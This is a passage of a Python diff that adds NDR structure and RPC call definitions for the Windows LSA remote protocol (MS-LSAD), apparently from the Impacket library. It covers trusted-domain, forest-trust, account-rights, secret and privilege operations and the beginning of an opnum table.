+        ('FlatName', RPC_UNICODE_STRING), 
+        ('Sid', PRPC_SID), 
+        ('TrustDirection', ULONG), 
+        ('TrustType', ULONG), 
+        ('TrustAttributes', ULONG), 
+    )
+
+# 2.2.7.10 LSAPR_TRUSTED_DOMAIN_INFORMATION_EX2
+class LSAPR_TRUSTED_DOMAIN_INFORMATION_EX2(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+        ('FlatName', RPC_UNICODE_STRING), 
+        ('Sid', PRPC_SID), 
+        ('TrustDirection', ULONG), 
+        ('TrustType', ULONG), 
+        ('TrustAttributes', ULONG), 
+        ('ForestTrustLength', ULONG), 
+        ('ForestTrustInfo', LPBYTE), 
+    )
+
+# 2.2.7.17 LSAPR_AUTH_INFORMATION
+class LSAPR_AUTH_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('LastUpdateTime', LARGE_INTEGER), 
+        ('AuthType', ULONG), 
+        ('AuthInfoLength', ULONG), 
+        ('AuthInfo', LPBYTE), 
+    )
+
+class PLSAPR_AUTH_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_AUTH_INFORMATION),
+    )
+
+# 2.2.7.11 LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION
+class LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('IncomingAuthInfos', ULONG), 
+        ('IncomingAuthenticationInformation', PLSAPR_AUTH_INFORMATION), 
+        ('IncomingPreviousAuthenticationInformation', PLSAPR_AUTH_INFORMATION), 
+        ('OutgoingAuthInfos', ULONG), 
+        ('OutgoingAuthenticationInformation', PLSAPR_AUTH_INFORMATION), 
+        ('OutgoingPreviousAuthenticationInformation', PLSAPR_AUTH_INFORMATION), 
+    )
+
+# 2.2.7.16 LSAPR_TRUSTED_DOMAIN_AUTH_BLOB
+class LSAPR_TRUSTED_DOMAIN_AUTH_BLOB(NDRSTRUCT):
+    structure = (
+        ('AuthSize', ULONG), 
+        ('AuthBlob', LPBYTE), 
+    )
+
+# 2.2.7.12 LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL
+class LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL(NDRSTRUCT):
+    structure = (
+        ('AuthBlob', LSAPR_TRUSTED_DOMAIN_AUTH_BLOB), 
+    )
+
+# 2.2.7.13 LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION
+class LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('Information', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX), 
+        ('PosixOffset', TRUSTED_POSIX_OFFSET_INFO), 
+        ('AuthInformation', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION), 
+    )
+
+# 2.2.7.14 LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION_INTERNAL
+class LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION_INTERNAL(NDRSTRUCT):
+    structure = (
+        ('Information', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX), 
+        ('PosixOffset', TRUSTED_POSIX_OFFSET_INFO), 
+        ('AuthInformation', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL), 
+    )
+
+# 2.2.7.15 LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION2
+class LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION2(NDRSTRUCT):
+    structure = (
+        ('Information', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX), 
+        ('PosixOffset', TRUSTED_POSIX_OFFSET_INFO), 
+        ('AuthInformation', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION), 
+    )
+
+# 2.2.7.18 TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES
+class TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES(NDRSTRUCT):
+    structure = (
+        ('SupportedEncryptionTypes', ULONG), 
+    )
+
+# 2.2.7.3 LSAPR_TRUSTED_DOMAIN_INFO
+class LSAPR_TRUSTED_DOMAIN_INFO(NDRUNION):
+    union = {
+        TRUSTED_INFORMATION_CLASS.TrustedDomainNameInformation          : ('TrustedDomainNameInfo', LSAPR_TRUSTED_DOMAIN_NAME_INFO ),
+        TRUSTED_INFORMATION_CLASS.TrustedControllersInformation         : ('TrustedControllersInfo', LSAPR_TRUSTED_CONTROLLERS_INFO),
+        TRUSTED_INFORMATION_CLASS.TrustedPosixOffsetInformation         : ('TrustedPosixOffsetInfo', TRUSTED_POSIX_OFFSET_INFO),
+        TRUSTED_INFORMATION_CLASS.TrustedPasswordInformation            : ('TrustedPasswordInfo', LSAPR_TRUSTED_PASSWORD_INFO ),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainInformationBasic         : ('TrustedDomainInfoBasic', LSAPR_TRUSTED_DOMAIN_INFORMATION_BASIC),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainInformationEx            : ('TrustedDomainInfoEx', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainAuthInformation          : ('TrustedAuthInfo', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainFullInformation          : ('TrustedFullInfo', LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainAuthInformationInternal  : ('TrustedAuthInfoInternal', LSAPR_TRUSTED_DOMAIN_AUTH_INFORMATION_INTERNAL),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainFullInformationInternal  : ('TrustedFullInfoInternal', LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION_INTERNAL),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainInformationEx2Internal   : ('TrustedDomainInfoEx2', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX2),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainFullInformation2Internal : ('TrustedFullInfo2', LSAPR_TRUSTED_DOMAIN_FULL_INFORMATION2),
+        TRUSTED_INFORMATION_CLASS.TrustedDomainSupportedEncryptionTypes : ('TrustedDomainSETs', TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES),
+    }
+
+# 2.2.7.19 LSAPR_TRUSTED_ENUM_BUFFER
+class LSAPR_TRUST_INFORMATION_ARRAY(NDRUniConformantArray):
+    item = LSAPR_TRUST_INFORMATION
+
+class PLSAPR_TRUST_INFORMATION_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_TRUST_INFORMATION_ARRAY),
+    )
+
+class LSAPR_TRUSTED_ENUM_BUFFER(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG), 
+        ('Information', PLSAPR_TRUST_INFORMATION_ARRAY), 
+    )
+
+# 2.2.7.20 LSAPR_TRUSTED_ENUM_BUFFER_EX
+class LSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY(NDRUniConformantArray):
+    item = LSAPR_TRUSTED_DOMAIN_INFORMATION_EX
+
+class PLSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY),
+    )
+
+class LSAPR_TRUSTED_ENUM_BUFFER_EX(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG), 
+        ('EnumerationBuffer', PLSAPR_TRUSTED_DOMAIN_INFORMATION_EX_ARRAY), 
+    )
+
+# 2.2.7.22 LSA_FOREST_TRUST_RECORD_TYPE
+class LSA_FOREST_TRUST_RECORD_TYPE(NDRENUM):
+    class enumItems(Enum):
+        ForestTrustTopLevelName   = 0
+        ForestTrustTopLevelNameEx = 1
+        ForestTrustDomainInfo     = 2
+
+# 2.2.7.24 LSA_FOREST_TRUST_DOMAIN_INFO
+class LSA_FOREST_TRUST_DOMAIN_INFO(NDRSTRUCT):
+    structure = (
+        ('Sid', PRPC_SID), 
+        ('DnsName', LSA_UNICODE_STRING), 
+        ('NetbiosName', LSA_UNICODE_STRING), 
+    )
+
+# 2.2.7.21 LSA_FOREST_TRUST_RECORD
+class LSA_FOREST_TRUST_DATA_UNION(NDRUNION):
+    union = {
+        LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName   : ('TopLevelName', LSA_UNICODE_STRING ),
+        LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelNameEx : ('TopLevelName', LSA_UNICODE_STRING),
+        LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustDomainInfo     : ('DomainInfo', LSA_FOREST_TRUST_DOMAIN_INFO),
+    }
+
+class LSA_FOREST_TRUST_RECORD(NDRSTRUCT):
+    structure = (
+        ('Flags', ULONG), 
+        ('ForestTrustType', LSA_FOREST_TRUST_RECORD_TYPE), 
+        ('Time', LARGE_INTEGER), 
+        ('ForestTrustData', LSA_FOREST_TRUST_DATA_UNION), 
+    )
+
+class PLSA_FOREST_TRUST_RECORD(NDRPOINTER):
+    referent = (
+        ('Data', LSA_FOREST_TRUST_RECORD),
+    )
+
+# 2.2.7.23 LSA_FOREST_TRUST_BINARY_DATA
+class LSA_FOREST_TRUST_BINARY_DATA(NDRSTRUCT):
+    structure = (
+        ('Length', ULONG), 
+        ('Buffer', LPBYTE), 
+    )
+
+# 2.2.7.25 LSA_FOREST_TRUST_INFORMATION
+class LSA_FOREST_TRUST_RECORD_ARRAY(NDRUniConformantArray):
+    item = PLSA_FOREST_TRUST_RECORD
+
+class PLSA_FOREST_TRUST_RECORD_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSA_FOREST_TRUST_RECORD_ARRAY),
+    )
+
+class LSA_FOREST_TRUST_INFORMATION(NDRSTRUCT):
+    structure = (
+        ('RecordCount', ULONG), 
+        ('Entries', PLSA_FOREST_TRUST_RECORD_ARRAY), 
+    )
+
+class PLSA_FOREST_TRUST_INFORMATION(NDRPOINTER):
+    referent = (
+        ('Data', LSA_FOREST_TRUST_INFORMATION),
+    )
+
+# 2.2.7.26 LSA_FOREST_TRUST_COLLISION_RECORD_TYPE
+class LSA_FOREST_TRUST_COLLISION_RECORD_TYPE(NDRENUM):
+    class enumItems(Enum):
+        CollisionTdo   = 0
+        CollisionXref  = 1
+        CollisionOther = 2
+
+# 2.2.7.27 LSA_FOREST_TRUST_COLLISION_RECORD
+class LSA_FOREST_TRUST_COLLISION_RECORD(NDRSTRUCT):
+    structure = (
+        ('Index', ULONG), 
+        ('Type', LSA_FOREST_TRUST_COLLISION_RECORD_TYPE), 
+        ('Flags', ULONG), 
+        ('Name', LSA_UNICODE_STRING), 
+    )
+
+# 2.2.8.1 LSAPR_POLICY_PRIVILEGE_DEF
+class LSAPR_POLICY_PRIVILEGE_DEF(NDRSTRUCT):
+    structure = (
+        ('Name', RPC_UNICODE_STRING), 
+        ('LocalValue', LUID), 
+    )
+
+# 2.2.8.2 LSAPR_PRIVILEGE_ENUM_BUFFER
+class LSAPR_POLICY_PRIVILEGE_DEF_ARRAY(NDRUniConformantArray):
+    item = LSAPR_POLICY_PRIVILEGE_DEF
+
+class PLSAPR_POLICY_PRIVILEGE_DEF_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', LSAPR_POLICY_PRIVILEGE_DEF_ARRAY),
+    )
+
+class LSAPR_PRIVILEGE_ENUM_BUFFER(NDRSTRUCT):
+    structure = (
+        ('Entries', ULONG), 
+        ('Privileges', PLSAPR_POLICY_PRIVILEGE_DEF_ARRAY), 
+    )
+
+
+################################################################################
+# RPC CALLS
+################################################################################
+# 3.1.4.4.1 LsarOpenPolicy2 (Opnum 44)
+class LsarOpenPolicy2(NDRCALL):
+    opnum = 44
+    structure = (
+       ('SystemName', LPWSTR),
+       ('ObjectAttributes',LSAPR_OBJECT_ATTRIBUTES),
+       ('DesiredAccess',ACCESS_MASK),
+    )
+
+class LsarOpenPolicy2Response(NDRCALL):
+    structure = (
+       ('PolicyHandle',LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.2 LsarOpenPolicy (Opnum 6)
+class LsarOpenPolicy(NDRCALL):
+    opnum = 6
+    structure = (
+       ('SystemName', LPWSTR),
+       ('ObjectAttributes',LSAPR_OBJECT_ATTRIBUTES),
+       ('DesiredAccess',ACCESS_MASK),
+    )
+
+class LsarOpenPolicyResponse(NDRCALL):
+    structure = (
+       ('PolicyHandle',LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.3 LsarQueryInformationPolicy2 (Opnum 46)
+class LsarQueryInformationPolicy2(NDRCALL):
+    opnum = 46
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('InformationClass',POLICY_INFORMATION_CLASS),
+    )
+
+class LsarQueryInformationPolicy2Response(NDRCALL):
+    structure = (
+       ('PolicyInformation',PLSAPR_POLICY_INFORMATION),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.4 LsarQueryInformationPolicy (Opnum 7)
+class LsarQueryInformationPolicy(NDRCALL):
+    opnum = 7
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('InformationClass',POLICY_INFORMATION_CLASS),
+    )
+
+class LsarQueryInformationPolicyResponse(NDRCALL):
+    structure = (
+       ('PolicyInformation',PLSAPR_POLICY_INFORMATION),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.5 LsarSetInformationPolicy2 (Opnum 47)
+class LsarSetInformationPolicy2(NDRCALL):
+    opnum = 47
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('InformationClass',POLICY_INFORMATION_CLASS),
+       ('PolicyInformation',LSAPR_POLICY_INFORMATION),
+    )
+
+class LsarSetInformationPolicy2Response(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.6 LsarSetInformationPolicy (Opnum 8)
+class LsarSetInformationPolicy(NDRCALL):
+    opnum = 8
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('InformationClass',POLICY_INFORMATION_CLASS),
+       ('PolicyInformation',LSAPR_POLICY_INFORMATION),
+    )
+
+class LsarSetInformationPolicyResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.7 LsarQueryDomainInformationPolicy (Opnum 53)
+class LsarQueryDomainInformationPolicy(NDRCALL):
+    opnum = 53
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('InformationClass',POLICY_DOMAIN_INFORMATION_CLASS),
+    )
+
+class LsarQueryDomainInformationPolicyResponse(NDRCALL):
+    structure = (
+       ('PolicyDomainInformation',PLSAPR_POLICY_DOMAIN_INFORMATION),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.4.8 LsarSetDomainInformationPolicy (Opnum 54)
+# 3.1.4.5.1 LsarCreateAccount (Opnum 10)
+class LsarCreateAccount(NDRCALL):
+    opnum = 10
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('AccountSid',RPC_SID),
+       ('DesiredAccess',ACCESS_MASK),
+    )
+
+class LsarCreateAccountResponse(NDRCALL):
+    structure = (
+       ('AccountHandle',LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.2 LsarEnumerateAccounts (Opnum 11)
+class LsarEnumerateAccounts(NDRCALL):
+    opnum = 11
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('EnumerationContext',ULONG),
+       ('PreferedMaximumLength',ULONG),
+    )
+
+class LsarEnumerateAccountsResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext',ULONG),
+       ('EnumerationBuffer',LSAPR_ACCOUNT_ENUM_BUFFER),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.3 LsarOpenAccount (Opnum 17)
+class LsarOpenAccount(NDRCALL):
+    opnum = 17
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('AccountSid',RPC_SID),
+       ('DesiredAccess',ACCESS_MASK),
+    )
+
+class LsarOpenAccountResponse(NDRCALL):
+    structure = (
+       ('AccountHandle',LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.4 LsarEnumeratePrivilegesAccount (Opnum 18)
+class LsarEnumeratePrivilegesAccount(NDRCALL):
+    opnum = 18
+    structure = (
+       ('AccountHandle', LSAPR_HANDLE),
+    )
+
+class LsarEnumeratePrivilegesAccountResponse(NDRCALL):
+    structure = (
+       ('Privileges',PLSAPR_PRIVILEGE_SET),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.5 LsarAddPrivilegesToAccount (Opnum 19)
+class LsarAddPrivilegesToAccount(NDRCALL):
+    opnum = 19
+    structure = (
+       ('AccountHandle', LSAPR_HANDLE),
+       ('Privileges', LSAPR_PRIVILEGE_SET),
+    )
+
+class LsarAddPrivilegesToAccountResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.6 LsarRemovePrivilegesFromAccount (Opnum 20)
+class LsarRemovePrivilegesFromAccount(NDRCALL):
+    opnum = 20
+    structure = (
+       ('AccountHandle', LSAPR_HANDLE),
+       ('AllPrivileges', UCHAR),
+       ('Privileges', PLSAPR_PRIVILEGE_SET),
+    )
+
+class LsarRemovePrivilegesFromAccountResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.7 LsarGetSystemAccessAccount (Opnum 23)
+class LsarGetSystemAccessAccount(NDRCALL):
+    opnum = 23
+    structure = (
+       ('AccountHandle', LSAPR_HANDLE),
+    )
+
+class LsarGetSystemAccessAccountResponse(NDRCALL):
+    structure = (
+       ('SystemAccess', ULONG),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.8 LsarSetSystemAccessAccount (Opnum 24)
+class LsarSetSystemAccessAccount(NDRCALL):
+    opnum = 24
+    structure = (
+       ('AccountHandle', LSAPR_HANDLE),
+       ('SystemAccess', ULONG),
+    )
+
+class LsarSetSystemAccessAccountResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.9 LsarEnumerateAccountsWithUserRight (Opnum 35)
+class LsarEnumerateAccountsWithUserRight(NDRCALL):
+    opnum = 35
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('UserRight', PRPC_UNICODE_STRING),
+    )
+
+class LsarEnumerateAccountsWithUserRightResponse(NDRCALL):
+    structure = (
+       ('EnumerationBuffer',LSAPR_ACCOUNT_ENUM_BUFFER),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.10 LsarEnumerateAccountRights (Opnum 36)
+class LsarEnumerateAccountRights(NDRCALL):
+    opnum = 36
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('AccountSid', RPC_SID),
+    )
+
+class LsarEnumerateAccountRightsResponse(NDRCALL):
+    structure = (
+       ('UserRights',LSAPR_USER_RIGHT_SET),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.11 LsarAddAccountRights (Opnum 37)
+class LsarAddAccountRights(NDRCALL):
+    opnum = 37
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('AccountSid', RPC_SID),
+       ('UserRights',LSAPR_USER_RIGHT_SET),
+    )
+
+class LsarAddAccountRightsResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.5.12 LsarRemoveAccountRights (Opnum 38)
+class LsarRemoveAccountRights(NDRCALL):
+    opnum = 38
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('AccountSid', RPC_SID),
+       ('AllRights', UCHAR),
+       ('UserRights',LSAPR_USER_RIGHT_SET),
+    )
+
+class LsarRemoveAccountRightsResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6.1 LsarCreateSecret (Opnum 16)
+class LsarCreateSecret(NDRCALL):
+    opnum = 16
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('SecretName', RPC_UNICODE_STRING),
+       ('DesiredAccess', ACCESS_MASK),
+    )
+
+class LsarCreateSecretResponse(NDRCALL):
+    structure = (
+       ('SecretHandle', LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6.2 LsarOpenSecret (Opnum 28)
+class LsarOpenSecret(NDRCALL):
+    opnum = 28
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('SecretName', RPC_UNICODE_STRING),
+       ('DesiredAccess', ACCESS_MASK),
+    )
+
+class LsarOpenSecretResponse(NDRCALL):
+    structure = (
+       ('SecretHandle', LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6.3 LsarSetSecret (Opnum 29)
+class LsarSetSecret(NDRCALL):
+    opnum = 29
+    structure = (
+       ('SecretHandle', LSAPR_HANDLE),
+       ('EncryptedCurrentValue', PLSAPR_CR_CIPHER_VALUE),
+       ('EncryptedOldValue', PLSAPR_CR_CIPHER_VALUE),
+    )
+
+class LsarSetSecretResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6.4 LsarQuerySecret (Opnum 30)
+class LsarQuerySecret(NDRCALL):
+    opnum = 30
+    structure = (
+       ('SecretHandle', LSAPR_HANDLE),
+       ('EncryptedCurrentValue', PPLSAPR_CR_CIPHER_VALUE),
+       ('CurrentValueSetTime', PLARGE_INTEGER),
+       ('EncryptedOldValue', PPLSAPR_CR_CIPHER_VALUE),
+       ('OldValueSetTime', PLARGE_INTEGER),
+    )
+
+class LsarQuerySecretResponse(NDRCALL):
+    structure = (
+       ('EncryptedCurrentValue', PPLSAPR_CR_CIPHER_VALUE),
+       ('CurrentValueSetTime', PLARGE_INTEGER),
+       ('EncryptedOldValue', PPLSAPR_CR_CIPHER_VALUE),
+       ('OldValueSetTime', PLARGE_INTEGER),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6.5 LsarStorePrivateData (Opnum 42)
+class LsarStorePrivateData(NDRCALL):
+    opnum = 42
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('KeyName', RPC_UNICODE_STRING),
+       ('EncryptedData', PLSAPR_CR_CIPHER_VALUE),
+    )
+
+class LsarStorePrivateDataResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.6.6 LsarRetrievePrivateData (Opnum 43)
+class LsarRetrievePrivateData(NDRCALL):
+    opnum = 43
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('KeyName', RPC_UNICODE_STRING),
+       ('EncryptedData', PLSAPR_CR_CIPHER_VALUE),
+    )
+
+class LsarRetrievePrivateDataResponse(NDRCALL):
+    structure = (
+       ('EncryptedData', PLSAPR_CR_CIPHER_VALUE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.7.1 LsarOpenTrustedDomain (Opnum 25)
+# 3.1.4.7.1 LsarQueryInfoTrustedDomain (Opnum 26)
+# 3.1.4.7.2 LsarQueryTrustedDomainInfo (Opnum 39)
+# 3.1.4.7.3 LsarSetTrustedDomainInfo (Opnum 40)
+# 3.1.4.7.4 LsarDeleteTrustedDomain (Opnum 41)
+# 3.1.4.7.5 LsarQueryTrustedDomainInfoByName (Opnum 48)
+# 3.1.4.7.6 LsarSetTrustedDomainInfoByName (Opnum 49)
+# 3.1.4.7.7 LsarEnumerateTrustedDomainsEx (Opnum 50)
+class LsarEnumerateTrustedDomainsEx(NDRCALL):
+    opnum = 50
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class LsarEnumerateTrustedDomainsExResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext', ULONG),
+       ('EnumerationBuffer',LSAPR_TRUSTED_ENUM_BUFFER_EX),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.7.8 LsarEnumerateTrustedDomains (Opnum 13)
+class LsarEnumerateTrustedDomains(NDRCALL):
+    opnum = 13
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class LsarEnumerateTrustedDomainsResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext', ULONG),
+       ('EnumerationBuffer',LSAPR_TRUSTED_ENUM_BUFFER),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.7.9 LsarOpenTrustedDomainByName (Opnum 55)
+# 3.1.4.7.10 LsarCreateTrustedDomainEx2 (Opnum 59)
+# 3.1.4.7.11 LsarCreateTrustedDomainEx (Opnum 51)
+# 3.1.4.7.12 LsarCreateTrustedDomain (Opnum 12)
+# 3.1.4.7.14 LsarSetInformationTrustedDomain (Opnum 27)
+# 3.1.4.7.15 LsarQueryForestTrustInformation (Opnum 73)
+class LsarQueryForestTrustInformation(NDRCALL):
+    opnum = 73
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('TrustedDomainName', LSA_UNICODE_STRING),
+       ('HighestRecordType', LSA_FOREST_TRUST_RECORD_TYPE),
+    )
+
+class LsarQueryForestTrustInformationResponse(NDRCALL):
+    structure = (
+       ('ForestTrustInfo', PLSA_FOREST_TRUST_INFORMATION),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.7.16 LsarSetForestTrustInformation (Opnum 74)
+
+# 3.1.4.8.1 LsarEnumeratePrivileges (Opnum 2)
+class LsarEnumeratePrivileges(NDRCALL):
+    opnum = 2
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class LsarEnumeratePrivilegesResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext', ULONG),
+       ('EnumerationBuffer', LSAPR_PRIVILEGE_ENUM_BUFFER),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.8.2 LsarLookupPrivilegeValue (Opnum 31)
+class LsarLookupPrivilegeValue(NDRCALL):
+    opnum = 31
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('Name', RPC_UNICODE_STRING),
+    )
+
+class LsarLookupPrivilegeValueResponse(NDRCALL):
+    structure = (
+       ('Value', LUID),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.8.3 LsarLookupPrivilegeName (Opnum 32)
+class LsarLookupPrivilegeName(NDRCALL):
+    opnum = 32
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('Value', LUID),
+    )
+
+class LsarLookupPrivilegeNameResponse(NDRCALL):
+    structure = (
+       ('Name', PRPC_UNICODE_STRING),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.8.4 LsarLookupPrivilegeDisplayName (Opnum 33)
+class LsarLookupPrivilegeDisplayName(NDRCALL):
+    opnum = 33
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('Name', RPC_UNICODE_STRING),
+       ('ClientLanguage', USHORT),
+       ('ClientSystemDefaultLanguage', USHORT),
+    )
+
+class LsarLookupPrivilegeDisplayNameResponse(NDRCALL):
+    structure = (
+       ('Name', PRPC_UNICODE_STRING),
+       ('LanguageReturned', UCHAR),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.9.1 LsarQuerySecurityObject (Opnum 3)
+class LsarQuerySecurityObject(NDRCALL):
+    opnum = 3
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('SecurityInformation', SECURITY_INFORMATION),
+    )
+
+class LsarQuerySecurityObjectResponse(NDRCALL):
+    structure = (
+       ('SecurityDescriptor', PLSAPR_SR_SECURITY_DESCRIPTOR),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.9.2 LsarSetSecurityObject (Opnum 4)
+class LsarSetSecurityObject(NDRCALL):
+    opnum = 4
+    structure = (
+       ('PolicyHandle', LSAPR_HANDLE),
+       ('SecurityInformation', SECURITY_INFORMATION),
+       ('SecurityDescriptor', LSAPR_SR_SECURITY_DESCRIPTOR),
+    )
+
+class LsarSetSecurityObjectResponse(NDRCALL):
+    structure = (
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.9.3 LsarDeleteObject (Opnum 34)
+class LsarDeleteObject(NDRCALL):
+    opnum = 34
+    structure = (
+       ('ObjectHandle', LSAPR_HANDLE),
+    )
+
+class LsarDeleteObjectResponse(NDRCALL):
+    structure = (
+       ('ObjectHandle', LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+# 3.1.4.9.4 LsarClose (Opnum 0)
+class LsarClose(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ObjectHandle', LSAPR_HANDLE),
+    )
+
+class LsarCloseResponse(NDRCALL):
+    structure = (
+       ('ObjectHandle', LSAPR_HANDLE),
+       ('ErrorCode', NTSTATUS),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (LsarClose, LsarCloseResponse),
+ 2 : (LsarEnumeratePrivileges, LsarEnumeratePrivilegesResponse),
+ 3 : (LsarQuerySecurityObject, LsarQuerySecurityObjectResponse),
+ 4 : (LsarSetSecurityObject, LsarSetSecurityObjectResponse),
+ 6 : (LsarOpenPolicy, LsarOpenPolicyResponse),
+ 7 : (LsarQueryInformationPolicy, LsarQueryInformationPolicyResponse),
